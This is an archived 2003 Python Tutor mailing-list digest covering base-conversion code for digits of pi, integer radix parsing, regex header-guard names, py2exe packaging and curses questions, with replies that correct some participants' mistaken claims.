>humans will *not* learn to read base-64 numbers; we'll simply represent 
>processor words with a longer string of hexidecimal digits.
Isn't this backward evolution? Why didn't we just use longer strings of 
octal when we went to 16 bit
processors? Anyway here is a practical example that uses up to base 207.


#                     A practical application of base conversion.
#                                 By Cino Hilliard
#                                    6/24/2003
# This little program demonstrates a practical use of base conversion to 
compress
# base 10 numbers using the ascii set 48 - 255 allowing bases 2 - 207. With 
a little work,
# it can be changed to compress text also. Using the testpi function for 
1000 digits,
# we can determine the compression ratio for various bases. # Eg., base 2 = 
332%,
# base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%.
# Perhaps others in the list can tweek to get better compression. It may be 
possible to
# use another character set to say super ascii 511. Processing gets slow as 
we increase
# the number of digits to say 10000. This may be improved by doing 1000 
characters at a
# time getting 10 packets of base 207 to be converted back 1000 at a time. 
Also this could
# be used as an encryption scheme for sensitive data. If you are a Mystic, 
you cal look
# for words or messages in the characters of Pi. Go out far enough and you 
will read the
# Bible word for word. with this. You will have to place the spaces and 
punctuation in
# though. Prime number enthusiasts can use the base converter to find prime 
words or
# phrases.

def testpi(r1,r2,n):
    pi = piasn(n)
    print pi
    print ""
    x = base(r1,r2,pi)
    print x
    print len(x)
    y = base(r2,r1,x)
    print y

def base(r1,r2,num):
    import math
    digits=""
    for j in range(48,255):
          digits = digits + chr(j)
    num = str(num)
    ln  = len(num)
    dec = 0
    for j in range(ln):
          asci = ord(num[j])
          temp   = r1**(ln-j-1)
          ascii2 = asci-48
          dec += ascii2*temp
    RDX = ""
    PWR = math.log(dec)/math.log(r2)
    j = int(PWR)
    while j >= 0:
          Q   = dec/(r2**j)
          dec = dec%(r2**j)
          RDX = RDX + digits[Q]
          j-=1
    return RDX

def pix(n):  # Compute the digits of Pi
    n1 = n*34/10
    m = n+5
    p=d =10**m
    k=1
    while k < n1:
           d = d*k/(k+k+1)
           p = p+d
           k+=1
    p*=2
    p=str(p)
    return p[:n]

def piasn(n):  # My faster version to compute Pi.
    n1=n*7/2+5
    n2=n/2 + 5
    m=n+5
    p=x=10**(m)
    d =1
    while d <= n1:
         x=x*d/(d+1)/4
         p=p+x/(d+2)
         d += 2
    p*=3
    p=str(p)
    return p[:n]

>
>I say *almost* zero correlation, because the reason that hexidecimal is so 
>popular is that a standard byte (8 bits) can be exactly represented using 
>two hex digits.  Every possible 8-bit value can be shown in two hex digits, 
>and every 2-hex-digit value can be shown in 8 binary digits (bits).  Humans 
>typically find '0xE4' easier to read

What is so unappealing to read 1024 decimal as 100 base 32 or 80 base 128. 
Isn't there economy
here say, from an encoding stand point. Sure type it in decimal but let the 
converter encode it in
base 128. how about 18446744073709551617 = 2**64+1 = 2000000001? It just 
seems natural
this trend will continue.

>>>practical.base(10,32,1024)
'100'

>than '11100100', so hex makes a convenient shorthand for looking at bit 
>patterns.  Note that this means that 32 bits are equivalent to 8 hex 
>digits, and 64 bits to 16 hex digits.  Once upon a time, many 
>mainframes/minicomputers used 9-bit, or 18-bit, or 27-bit words.  9 bits 
>have that same mapping to three octal digits, so for these machines, octal 
>is the convenient shorthand.  As that type of machine passes out of favor, 
>octal is passing out of favor now, too.
>
>The point of this diversion is simply to show that unusual bases are 
>extremely rare, and serve very little practical purpose, which is
Well that means they are extremely valuable. We will see.

>*why* the Python interpreter is biased towards a few specific bases.
Not really. It allows decimal up to base 36 conversion.


Will python ever become a compiler capable of compiling itself?

Will python ever have arbitrary precision floating point built in like the 
Pari, mathematica, Maple
interpreters?

>
>Jeff Shannon
>Technician/Programmer
>Credit International
>
>
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor

_________________________________________________________________
Protect your PC - get McAfee.com VirusScan Online  
http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963



From SWidney@ci.las-vegas.nv.us  Wed Jun 25 20:12:01 2003
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Wed Jun 25 19:12:01 2003
Subject: [Tutor] Job posting at LucasArts
Message-ID: <0E5508EBA1620743B409A2B8365DE16FDC866B@sovereign.ci.las-vegas.nv.us>

Just looking at the job boards at LucasArts and came across this:

http://www.lucasarts.com/jobs/descriptions/?ID=script

It's interesting here because they specifically mention Python in the
qualifications. Well that and the fact that working for any of George
Lucas's companies would be just plain cool!

Heck, they've even got an opening for a pastry chef at Skywalker Ranch (mmm,
donuts...)


Scott


From jeff@ccvcorp.com  Wed Jun 25 22:20:03 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Wed Jun 25 21:20:03 2003
Subject: [Tutor] built in functions int(),long()+convert.base(r1,r2,num)
References: <Law15-F10zaXBG3qlSI0000580c@hotmail.com>
Message-ID: <3EFA49F0.30906@ccvcorp.com>

cino hilliard wrote:

> Are these statements  true or false.
>
> 1. Maybe any integer in the range [2, 36], or zero.
>
> 2. If radix is zero, the proper radix is guessed based on the contents 
> of string;
>
> The first is true. What about 2.? 


The second is true, though definitions of "proper" are subjective.  It 
would, perhaps, be more technically correct to say "one of three 
possible radixes (octal, decimal, hexidecimal) is selected based on the 
contents of the string."  Considering the overwhelming lack of interest 
by 99.99% of programmers in bothering with anything other than those 
three bases plus binary, it's hardly surprising (to me) that the 
documentation-writers felt no need to explicate that further than by 
pointing out (as they do) that the radix is selected in the same way 
that it is for integer constants.  (Python does not provide for integer 
constants being specified in anything other than those three mentioned 
bases.)


>>>> and there *is* a conversion step in between.  The conversion is 
>>>> especially apparent when dealing with floats, because the same 
>>>> float will display differently depending on whether you use str() 
>>>> or repr() (the interpreter uses repr() by default) --
>>>>
>>>> >>> repr(0.1)
>>>> '0.10000000000000001'
>>>
>>>
>>> Can't this be fixed?
>>
>>
>> Which, that 0.1 can't be represented in binary?  No, that can't be
>
> Try this.
>
>>>> 1./3
>>>
> 0.33333333333333331
> Why this bogus display?
> Here is how Pari solves the problem.
> ? \p 17
>   realprecision = 19 significant digits (17 digits displayed)
> ? 1./3
> 0.33333333333333333 


Sure, if you use full rational numbers, that works.  However, full 
rational numbers can't be handled by the floating-point hardware on any 
current processors, which means that the math must be emulated in 
software, which is rather slow.  But it can be done, as (apparently) 
Pari does, and indeed there's been a few packages proposed and/or 
written that do it for Python.  However, because of speed/efficiency 
issues, it's probably not going to become standard anytime soon.

>> Note that, by your logic of how these guesses should be done,
>
> My logic? Is this a true statement. Yes or no.
> Maybe any integer in the range [2, 36], or zero. If radix is zero,
> the proper radix is guessed based on the contents of string; 


That statement is true, as I said before, is true given the 
understanding that "the proper radix" is one of octal, decimal, or 
hexidecimal.  Your apparent reading of this statement (that the proper 
radix should be one higher than the highest digit in the string) is 
remarkably unpractical, because the number of cases in which one 
actually intends a string to be interpreted in base-7 or base-19 is 
vanishingly small when compared to cases where one is using those three 
major radixes.  If you *have* one of those extremely rare cases, you can 
always specify that that is what you want.  However, Python is more 
interested in being a practical language than in being a mathematically 
pure language.  Besides, the docs then go on to point out exactly how 
the proper radix is guessed -- by using the same rules that apply to 
integer literals in source code.

>> that would be the intent, since there is virtually *never* any use 
>> for numbers in a nonstandard base.
>
> Mabe not for you.
>
>>
>> When 64 bit 128 bit and higher processor chips hit the mainstream you 
>> may change your opinion
>
> This was just a hunch based on encoding the processor. With higher 
> radix, the instructions could
> be crunched in a smaller space. 


No, they couldn't, because the instructions are *stored* in binary.  You 
can display it on the screen with only one or two characters instead of 
8, but it still takes up 8 bytes of disk space.

>> The number of bits that processors can use has almost zero 
>> correlation with the usefulness of number represented in different 
>> bases.  We currently have 32-bit processors (in most cases), but that 
>> doesn't mean we're using base 32 numbers for anything.  We've used 
>> base 16 numbers since long before 16-bit processors were standard.  
>> When 64-bit processors become standard, humans will *not* learn to 
>> read base-64 numbers; we'll simply represent processor words with a 
>> longer string of hexidecimal digits.
>
> Isn't this backward evolution? Why didn't we just use longer strings 
> of octal when we went to 16 bit
> processors? Anyway here is a practical example that uses up to base 207.
>
> [...]
> # it can be changed to compress text also. Using the testpi function 
> for 1000 digits,
> # we can determine the compression ratio for various bases. # Eg., 
> base 2 = 332%,
> # base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%. 


This is mistaken, because you're only changing how many characters are 
used to display it on the screen.  No matter what base it's displayed 
in, it is still *stored* in binary, and this will not compress anything. 
 Whether you see 'FF' or '255' or '@' (or whatever other character might 
be used to represent that number in whatever base you try to use), it 
still must occupy one byte of memory / hard drive space.  Once again, 
you're confusing the display with internals.  Changing the base only 
affects display.

> [...] Also this could
> # be used as an encryption scheme for sensitive data.


I sure wouldn't trust any sensitive data to it.  If it's worth 
encrypting, it's worth using a *real* encryption scheme; this is only 
slightly more secure than rot13.

>> I say *almost* zero correlation, because the reason that hexidecimal 
>> is so popular is that a standard byte (8 bits) can be exactly 
>> represented using two hex digits.  Every possible 8-bit value can be 
>> shown in two hex digits, and every 2-hex-digit value can be shown in 
>> 8 binary digits (bits).  Humans typically find '0xE4' easier to read
>
>
> What is so unappealing to read 1024 decimal as 100 base 32 or 80 base 
> 128. Isn't there economy
> here say, from an encoding stand point. Sure type it in decimal but 
> let the converter encode it in
> base 128. how about 18446744073709551617 = 2**64+1 = 2000000001? It 
> just seems natural
> this trend will continue. 


Because usually when we represent data in anything other than decimal, 
it's because we're interested in the bit patterns.  Looking at bit 
patterns in binary is too diffuse, and it's easy to get lost.  But 
trying to understand bit patterns in anything higher than hexidecimal is 
far too dense and obtuse.  Note that even when hex and octal are used, 
programmers rarely use them for normal math; if we're interested in the 
numeric value, we're far more likely to use decimal.  But when we're 
interested in the bit pattern, and are using bitwise operators (and, or, 
xor, not) it's easier to follow what's happening if we use a 
representation that exactly matches the number of bits involved.  One 
octal digit exactly represents three bits; one hex digit exactly 
represents four bits.  Thus, hex is useful for representing bit-patterns 
on machines that use a word-size that's a multiple of four, and octal is 
useful on machines that have a word-size that's a multiple of three.

>> The point of this diversion is simply to show that unusual bases are 
>> extremely rare, and serve very little practical purpose, which is
>
> Well that means they are extremely valuable. We will see. 


Rare does not necessarily imply valuable, especially in terms of ideas. 
 These bases are rare exactly *because* there is so little use for them. 
 They're understood quite well, and make interesting theoretical models, 
but they're simply not very useful in practice.

>> *why* the Python interpreter is biased towards a few specific bases.
>
> Not really. It allows decimal up to base 36 conversion. 


The int() function will convert strings of up to base 36, yes, but the 
interpreter itself only allows integer constants to be specified in one 
of three bases, and the int() function itself will only guess a base if 
it's one of those same three bases.  That sounds like a bias to me, and 
a well-justified one too.  I strongly suspect that the main reason that 
int() will convert other bases is that it's just as easy to write it to 
be entirely general as it is to write it to be specific to those three 
bases -- in fact, checking for one of those bases would probably add 
complexity.  You'll note that in the reverse direction, converting an 
integer to a string, Python only provides a way to do so for those same 
three bases.

> Will python ever become a compiler capable of compiling itself? 


Probably not, because that's not one of the design goals, and it's not a 
direction that the Python staff is interested in going.

> Will python ever have arbitrary precision floating point built in like 
> the Pari, mathematica, Maple
> interpreters? 


Built in?  Probably not.  Available?  Definitely -- I'm pretty sure that 
third-party packages are already available.

Jeff Shannon
Technician/Programmer
Credit International




From lonetwin@yahoo.com  Thu Jun 26 04:08:03 2003
From: lonetwin@yahoo.com (lonetwin)
Date: Thu Jun 26 03:08:03 2003
Subject: [Tutor] curses on linux
In-Reply-To: <Pine.A41.4.32.0306241639280.33284-100000@faust27-eth.rz.uni-frankfurt.de>
References: <Pine.A41.4.32.0306241639280.33284-100000@faust27-eth.rz.uni-frankfurt.de>
Message-ID: <200306261251.31263.lonetwin@yahoo.com>

Hi Michael,
     Thanks for your reply, but ...

> I can't say, how to switch between applications (after going to "links" -
> wouldn't be it the problem of the links programm to switch back?). Just go
> to another app and exit and are back in orig app can be done with
> os.system().
     That's the problem, I do not the external app. to exit. Links is a text 
mode browser, I want to have links alive in the background or at least save 
the state of links when I switch to my app, so that when I return from my 
app, links is at the same page as it was before. Also os.system() just 
executes a new process and returns when that process is done. The only way to 
communicate from the parent process to the child is thru' the arguments 
passed when os.system is called (or thru' environment variables) and the only 
way for the child process to communicate with the parent is by a return code.
    There is no 'runtime' communication between the processes. I need to 
achieve at least that if I can't switch between the apps.
   Basically I need pipe() between 2 curses applications.

      Like I said in my earlier mail, right now, the closest I have got to 
doing that is by using the 'pty' module (the pty.spawn() function 
specifically). I don't really like that tho'. I was hoping there was a way to 
do that using just ncurses.

    Ah, well ...I'll keep researching. Thanx for your reply anyways.

Peace
Steve
-- 
panic ("Splunge!");
	2.2.16 /usr/src/linux/drivers/scsi/psi240i.c


From tad0@eudoramail.com  Thu Jun 26 09:55:02 2003
From: tad0@eudoramail.com (Tim Henderson)
Date: Thu Jun 26 08:55:02 2003
Subject: [Tutor] compiling
Message-ID: <NKEJIAFMHDMEMDAA@whowhere.com>

Hi

What are the steps you take to bundle python software after you have written it. I tried just compiling it into a pyc but it still ran through the python.exe. How do you make a standalone app.

---
TIM HENDERSON
Mail Me:   tad0@eudoramail.com




Need a new email address that people can remember
Check out the new EudoraMail at
http://www.eudoramail.com


From abli@freemail.hu  Thu Jun 26 10:26:04 2003
From: abli@freemail.hu (Abel Daniel)
Date: Thu Jun 26 09:26:04 2003
Subject: [Tutor] Setupsup for Python
In-Reply-To: <OFA21C343A.CE4DD4C8-ONC1256D4F.005D9263@velux.com>
References: <OFA21C343A.CE4DD4C8-ONC1256D4F.005D9263@velux.com>
Message-ID: <20030626132441.GA454@hooloovoo>

> have someone know any python modul, that can be used as the perl setupsup
> modul ?
> I have to push <ALTB>, <right>, ...  1831 times.

Although perl's setupsup seems to support much more, but if sending
keypresses automatically is enough, you might be interested in Sendkeys:
"""
SendKeys is a Python module for Windows (R) which can be used to send
one or more keystrokes or keystroke combinations to the active window.
"""

http://www.rutherfurd.net/python/sendkeys/

(from Python Package Index at http://www.python.org/pypi)

(Of course you might be better off doing it in perl if it has the
necessary library.)

Abel Daniel
p.s. I never tried it, being a happy debian user myself and being happy
that I (almost) never need to use Windows :)


From abli@freemail.hu  Thu Jun 26 12:07:54 2003
From: abli@freemail.hu (Abel Daniel)
Date: Thu Jun 26 11:07:54 2003
Subject: [Tutor] curses on linux
In-Reply-To: <200306241232.09959.lonetwin@yahoo.com>
References: <200306241232.09959.lonetwin@yahoo.com>
Message-ID: <20030626150528.GB454@hooloovoo>

lonetwin wrote:
>     I plan to write a little app. on linux that uses the curses module. 
> Here's what I'd like to do:
> 
> a) Start up my application. (ie: all the initscr & stuff)
> b) Open another curses based application "embedded" within mine (actually
> I'm planning to fire-up the 'links' browser). By embedded I mean either it
> is displayed in one sub-window/pad on the screen, or it is displayed as it
> normally should with a key binding that'll allow me to switch between the
> embedded app and mine.
> c) I should be able to move between these two apps.
Is the functionality you get by having multiple virtual consols on Linux
enough? I.e. being able to switch to a different console with
<ALt>+<Fn> keys?
If yes, then 'screen' might be a usable option.


Abel Daniel


From brian@dungeoncrawl.org  Thu Jun 26 12:43:24 2003
From: brian@dungeoncrawl.org (Brian Christopher Robinson)
Date: Thu Jun 26 11:43:24 2003
Subject: [Tutor] Help with Python Regular Expressions
Message-ID: <5.2.0.9.0.20030626113708.026c25a0@localhost>

I'm working on a Python script to automate the creation of new classes for 
my C++ project.  For the header files, I'd like to generate the #ifdef 
string for the header guard.  So if the class is called FooBar, I want to 
get the string FOO_BAR.  The basic rule is that wherever there is an 
uppercase letter, put an '_' in front of it.  The exception is the capitol 
at the beginning of the string.

Currently I have this:

def makeIfDefName(fileName):
     import re
     p = re.compile('([A-Z])')
     newFileName = p.sub(r'_\1', fileName)
     return newFileName.upper()

When given "FooBar" this returns "_FOO_BAR".  I could do it without regular 
expressions, I suppose, but I'd like to learn RE's too.


-- 
"It's hard to be disciplined when you lack respect for the world." - Matt 
on life 



From greg@gregmchapman.info  Thu Jun 26 13:24:01 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Thu Jun 26 12:24:01 2003
Subject: [Tutor] Help with Python Regular Expressions
In-Reply-To: <5.2.0.9.0.20030626113708.026c25a0@localhost>
Message-ID: <JOENINDGJDPMGHODEHKLEELCCCAA.greg@gregmchapman.info>

>def makeIfDefName(fileName):
>     import re
>     p = re.compile('([A-Z])')
>     newFileName = p.sub(r'_\1', fileName)
>     return newFileName.upper()
>
>When given "FooBar" this returns "_FOO_BAR".  I could do it without
regular
>expressions, I suppose, but I'd like to learn RE's too.

Try your regular expression like this: p = re.compile(r'\B([A-Z])')

The '\B' specifies that the match not occur on a word boundary, ie at
the beginning of the word.  This works for me, although I've only
subjected it to limited testing.

HTH,
greg





From tpc@csua.berkeley.edu  Thu Jun 26 13:39:01 2003
From: tpc@csua.berkeley.edu (tpc@csua.berkeley.edu)
Date: Thu Jun 26 12:39:01 2003
Subject: [Tutor] Job posting at LucasArts
In-Reply-To: <0E5508EBA1620743B409A2B8365DE16FDC866B@sovereign.ci.las-vegas.nv.us>
Message-ID: <20030626092136.I22045-100000@localhost.name>

on a related note, from the python documentation, is there a reason why
these particular letters were chosen as flags for module re:

(?iLmsux)
    (One or more letters from the set "i", "L", "m", "s", "u", "x".) The
group matches the empty string; the letters set the corresponding flags
(re.I, re.L, re.M, re.S, re.U, re.X) for the entire regular expression.
This is useful if you wish to include the flags as part of the regular
expression, instead of passing a flag argument to the compile() function.

On Wed, 25 Jun 2003, Scott Widney wrote:

> Just looking at the job boards at LucasArts and came across this:
>
> http://www.lucasarts.com/jobs/descriptions/?ID=script
>
> It's interesting here because they specifically mention Python in the
> qualifications. Well that and the fact that working for any of George
> Lucas's companies would be just plain cool!
>
> Heck, they've even got an opening for a pastry chef at Skywalker Ranch (mmm,
> donuts...)
>
>
> Scott
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From jeff@ccvcorp.com  Thu Jun 26 13:47:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 26 12:47:02 2003
Subject: [Tutor] Help with Python Regular Expressions
References: <5.2.0.9.0.20030626113708.026c25a0@localhost>
Message-ID: <3EFB22A7.8050708@ccvcorp.com>

Brian Christopher Robinson wrote:

> I'm working on a Python script to automate the creation of new classes 
> for my C++ project.  For the header files, I'd like to generate the 
> #ifdef string for the header guard.  So if the class is called FooBar, 
> I want to get the string FOO_BAR.  The basic rule is that wherever 
> there is an uppercase letter, put an '_' in front of it.  The 
> exception is the capitol at the beginning of the string. 


I realize that you said you'd like to learn REs, but this seems simple 
enough that REs are more trouble than they're worth.  Here's my version:

 >>> def MakeName(name):
...     result = []
...     for char in name:
...         if char.isupper():
...             if result != []:
...                 result.append('_')
...         result.append(char.upper())
...     return ''.join(result)
...
 >>> MakeName('FooBar')
'FOO_BAR'
 >>> MakeName('SomeLongSillyName')
'SOME_LONG_SILLY_NAME'
 >>>

Regular expressions are powerful and useful, to be sure, but they are 
also complex, and probably shouldn't be the first tool that's reached 
for.  "The simplest thing that can possibly work" is a good guiding 
principle to follow.

Jeff Shannon
Technician/Programmer
Credit International




From project5@redrival.net  Thu Jun 26 14:46:02 2003
From: project5@redrival.net (Andrei)
Date: Thu Jun 26 13:46:02 2003
Subject: [Tutor] Re: compiling
In-Reply-To: <NKEJIAFMHDMEMDAA@whowhere.com>
References: <NKEJIAFMHDMEMDAA@whowhere.com>
Message-ID: <bdfb7u$5h4$1@main.gmane.org>

Tim Henderson wrote:
> Hi
> 
> What are the steps you take to bundle python software after you have written it. I tried just compiling it into a pyc but it still ran through the python.exe. How do you make a standalone app.
> 

You're probably looking for py2exe. Note that this doesn't really 
"compile", it just sort of puts all necessary stuff (including the 
python dll plus any modules you use) in a sort of self-extracting file. 
Compiling to "real" binary code is not possible.

Note that, depending on the update frequency of your software, it might 
be easier to have your users download a Python distro once and your 
(small) program (py file(s)) often, rather than making them download 
your (large) py2exe packed program every time (especially if you have a 
GUI it might get quite large I think).

Andrei

=====
Mail address in header catches spam. Real contact info (decode with rot13):
cebwrpg5@bcrenznvy.pbz. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V 
ernq gur yvfg, fb gurer'f ab arrq gb PP.




From tpc@csua.berkeley.edu  Thu Jun 26 15:00:25 2003
From: tpc@csua.berkeley.edu (tpc@csua.berkeley.edu)
Date: Thu Jun 26 14:00:25 2003
Subject: [Tutor] Proposal
Message-ID: <20030626105337.Q22711-100000@localhost.name>

Given the numbers of "unsubscribe me" postings, I propose that the list
owners add a footer to all postings to read the following:

To unsubscribe from this group, send an email to:
 unsubscribe@tutor.python.org

I am aware even with this addendum, there will still be people who email
the tutor list requesting unsubscription, but I believe this removes one
step from the process and could reduce list noise & impingements on the
list owners to manually remove people.



From Shey@argonaut.com  Thu Jun 26 15:33:02 2003
From: Shey@argonaut.com (Shey Crompton)
Date: Thu Jun 26 14:33:02 2003
Subject: [Tutor] Job posting at LucasArts
Message-ID: <415C917D807AD411B72C00805FF7330B053F870C@MAILSRV>

There are a few games companies that have started using Python. Some use it
for relatively small scripts, others are using it as a main part of the game
engine.

If I recall correctly using Python in games was a lecture at the Game
Developer's Conference a couple of years ago. If I find the article, I will
place a link to it here.

Thanks,

Shey

 -----Original Message-----
From: 	Scott Widney [mailto:SWidney@ci.las-vegas.nv.us] 
Sent:	26 June 2003 00:10
To:	'tutor@python.org'
Subject:	[Tutor] Job posting at LucasArts

Just looking at the job boards at LucasArts and came across this:

http://www.lucasarts.com/jobs/descriptions/?ID=script

It's interesting here because they specifically mention Python in the
qualifications. Well that and the fact that working for any of George
Lucas's companies would be just plain cool!

Heck, they've even got an opening for a pastry chef at Skywalker Ranch (mmm,
donuts...)


Scott

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From Adam Vardy <anvardy@roadrunner.nf.net>  Thu Jun 26 15:39:02 2003
From: Adam Vardy <anvardy@roadrunner.nf.net> (Adam Vardy)
Date: Thu Jun 26 14:39:02 2003
Subject: [Tutor] Readlines
In-Reply-To: <000301c33b4f$eb159060$6401a8c0@xp>
References: <2152563261.20030621142247@roadrunner.nf.net>
 <463192576.20030621171956@roadrunner.nf.net>
 <00b901c33891$1f272ba0$6401a8c0@xp>
 <124105203845.20030623152613@roadrunner.nf.net>
 <004001c33a8f$99d65240$6401a8c0@xp>
 <472080731.20030625162557@roadrunner.nf.net> <000301c33b4f$eb159060$6401a8c0@xp>
Message-ID: <14287406463.20030626160802@roadrunner.nf.net>


Wednesday, June 25, 2003, 4:58:12 PM, you wrote:

>> While its true that most languages have a numerically oriented FOR
>> loop, many also have a FOREACH loop construct. Python just
>> happens to call its FOREACH construct FOR...

>> So it would be neater if Python kept to that tradition.
>> and had an implied counter for any structure like that,

>> Why? It's not that often you need to know the count if you are
>> processing everything in a list - which is what the FOR loop is for!

Rodrigues suggested the basic kind of feature was recently added.

>> I was thinking you could probably access the counter out of
>> >> for line in f.xreadlines():
>> >>     print line
>>
>> Since, to do what you're asking of it, it has to be keeping
>> track with exactly this kind of integer counter.

>> Why? What makes you think that. It could just keep processing things
>> till it runs out of items to process. It doresn't need to keep a
>> counter.

I know you're the expert Alan, but you might not have left high level
concepts for the moment.

Just that, suppose you only have four months in a year. The computer
would probably have:

00 00- January.
01 01- February.
02 10- March
03 11- April

It won't bother thinking about a February. If it counts through the
months, it won't conceive of time, metaphors, or abstract items. Just
add one each time.  It will have to do that.

I was just saying like, sometimes you add variables a lot, and maybe
some languages that are more abstract often get along with fewer.

You're adding LineCount wasn't really more confusing.

But, you might to do that but be less descriptive, and say 'lc' or 'l'.
And you won't know what it was later. Think so?

If you just have 'line' you could use it both for the printed line,
and the number of that line. Both fit well trying to read like plain
English.

Are you sure you've never added counters before in lots of places
around, and then left very little working code on one screen/page?

>> Consider the common case of processing a file with a while loop
>> until you reach the end of file... You don't need to track the
>> line number.

Probably not, if there are functions to read from the start, or end of
a file.

>> When you have to add extra variables, it just adds more text on your
>> screen, and less space to review the main stuff you've actually
>> written.

>> For the relatively few cases where you need an index counter then
>> the amount of extra text is small, and you have the choice of using
>> a while loop, or for loop. Mostly when you use a for loop you just
>> want to process each item.

Except when you're debugging, you probably want to print just about
anything.

Like when a function doesn't seem to be running correctly.

-- 
Adam Vardy



From tutor@python.org  Thu Jun 26 16:19:00 2003
From: tutor@python.org (Tim Peters)
Date: Thu Jun 26 15:19:00 2003
Subject: [Tutor] Job posting at LucasArts
In-Reply-To: <20030626092136.I22045-100000@localhost.name>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEEAGBAA.tim.one@comcast.net>

[tpc@csua.berkeley.edu]
> on a related note, from the python documentation, is there a reason
> why these particular letters were chosen as flags for module re:
>
> (?iLmsux)
>     (One or more letters from the set "i", "L", "m", "s", "u", "x".)

Python's regexp syntax was designed to be reasonably compatible with Perl5's
regexp syntax, and Perl5 made up these abbreviations.  IOW, Python inherited
these choices from Perl.



From hillcino368@hotmail.com  Thu Jun 26 16:33:08 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Thu Jun 26 15:33:08 2003
Subject: [Tutor] Re:Base 207 compression algorithm
Message-ID: <Law15-F89gtc2S6AATi000082cd@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_4c5d_617c_2695
Content-Type: text/plain; format=flowed

To:Jeff Shannon and all other Python users

Cino Hilliard wrote:
>># we can determine the compression ratio for various bases. # Eg., base 2 
>>= 332%,
>># base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%.
>
>
Jeff Shannon wrote:
>This is mistaken, because you're only changing how many characters are used 
>to display it on the screen.  No matter what base it's displayed in, it is 
>still *stored* in binary, and this will not compress anything. Whether you 
>see 'FF' or '255' or '@' (or whatever other character might be used to 
>represent that number in whatever base you try to use), it still must 
>occupy one byte of memory / hard drive space.  Once again, you're confusing 
>the display with internals.  Changing the base only affects display.

Does anyone else in the python community agree with this?


Attached is a script that can be used to zip numbers. It is a base 2-207 
compression algorithm that I
developed using python's arbitrary integer precision feature. Base 207 was 
used for the output in this
example.

Here is the output for 5000 digits of Pi stored to two files pib10.txt for 
the decimal expansion and
pib207.txt for the base 207 conversion. I included Win Zip and pkzip files 
also. You will notice that the
compression in base 207 gives a better ratio than the Zip file compression. 
The compression ratio
improves logorithmically with increasing bases.


Also shown is the compression for 1000! in base 207.

This is in no way intended to imply that this code is better than the 
professional zip code. It is just a
demonstration of ways to compress a string of numbers using base conversion. 
Currently, it only works
on numbers.


C:\Python23>dir pib*.*
Volume in drive C has no label.
Volume Serial Number is E834-0F93

Directory of C:\Python23

06/26/2003  12:37 PM             5,000 pib10.txt
06/26/2003  12:37 PM             2,159 pib207.txt
06/26/2003  12:44 PM             2,665 pib10.zip
06/26/2003  01:34 PM             2,594 pib10pk.ZIP
06/26/2003  02:02 PM             2,568 fact10.txt
06/26/2003  02:02 PM             1,109 fact207.txt

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus

------=_NextPart_000_4c5d_617c_2695
Content-Type: text/plain; name="practical.py"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="practical.py"

#                     A practical application of base conversion.
#                                 By Cino Hilliard
#                                    6/24/2003
# This little program demonstrates a practical use of base conversion to 
compress
# base 10 numbers using the ascii set 48 - 255 allowing bases 2 - 207. With 
a little work,
# it can be changed to compress text also. Using the testpi function for 
1000 digits,
# we can determine the compression ratio for various bases. # Eg., base 2 = 
332%,
# base 8 =111%, base 10 =100%, base 100 = 50%, base 207 = 43.2%.
# Perhaps others in the list can tweek to get better compression. It may be 
possible
# use another character set to say super ascii 511. Processing gets slow as 
we increase
# the number of digits to say 10000. This may be improved by doing 1000 
characters at a
# time getting 10 packets of base 207 to be converted back 1000 at a time. 
Also this could
# be used as an encryption scheme for sensitive data. If you are a Mystic, 
you cal look
# for words or messages in the characters of Pi. Go out far enough and you 
will read the
# Bible word for word. with this. You will have to place the spaces and 
punctuation in
# though. Prime number enthusiasts can use the base converter to find prime 
words or
# phrases.

def testpi(r1,r2,n):
    f1 = open('pib10.txt','w')
    f2 = open('pib207.txt','w')
    pi = piasn(n)
    print pi
    print ""
    x = base(r1,r2,pi)
    print x
    print len(x)
    y = base(r2,r1,x)
    print y
    f1.write(pi)
    f2.write(x)
    f1.close()
    f2.close()

def testfact(r1,r2,n):
    f1 = open('fact10.txt','w')
    f2 = open('fact207.txt','w')
    fact1 = fact(n)
    print fact1
    print ""
    x = base(r1,r2,fact1)
    print x
    print len(x)
    y = base(r2,r1,x)
    print y
    f1.write(fact1)
    f2.write(x)
    f1.close()
    f2.close()

def base(r1,r2,num):
    import math
    digits=""
    for j in range(48,255):
          digits = digits + chr(j)
    num = str(num)
    ln  = len(num)
    dec = 0
    for j in range(ln):
          asci = ord(num[j])
          temp   = r1**(ln-j-1)
          ascii2 = asci-48
          dec += ascii2*temp
    RDX = ""
    PWR = math.log(dec)/math.log(r2)
    j = int(PWR)
    while j >= 0:
          Q   = dec/(r2**j)
          dec = dec%(r2**j)
          RDX = RDX + digits[Q]
          j-=1
    return RDX

def pix(n):  # Compute the digits of Pi
    n1 = n*34/10
    m = n+5
    p=d =10**m
    k=1
    while k < n1:
           d = d*k/(k+k+1)
           p = p+d
           k+=1
    p*=2
    p=str(p)
    return p[:n]

def piasn(n):  # My faster version to compute Pi.
    n1=n*7/2+5
    n2=n/2 + 5
    m=n+5
    p=x=10**(m)
    d =1
    while d <= n1:
         x=x*d/(d+1)/4
         p=p+x/(d+2)
         d += 2
    p*=3
    p=str(p)
    return p[:n]

def fact(n):
    f = j = 1
    while j <= n:
            f*=j
            j+=1
    f=str(f)
    return f



------=_NextPart_000_4c5d_617c_2695--


From dman@dman13.dyndns.org  Thu Jun 26 17:00:03 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Thu Jun 26 16:00:03 2003
Subject: [Tutor] Re: Readlines
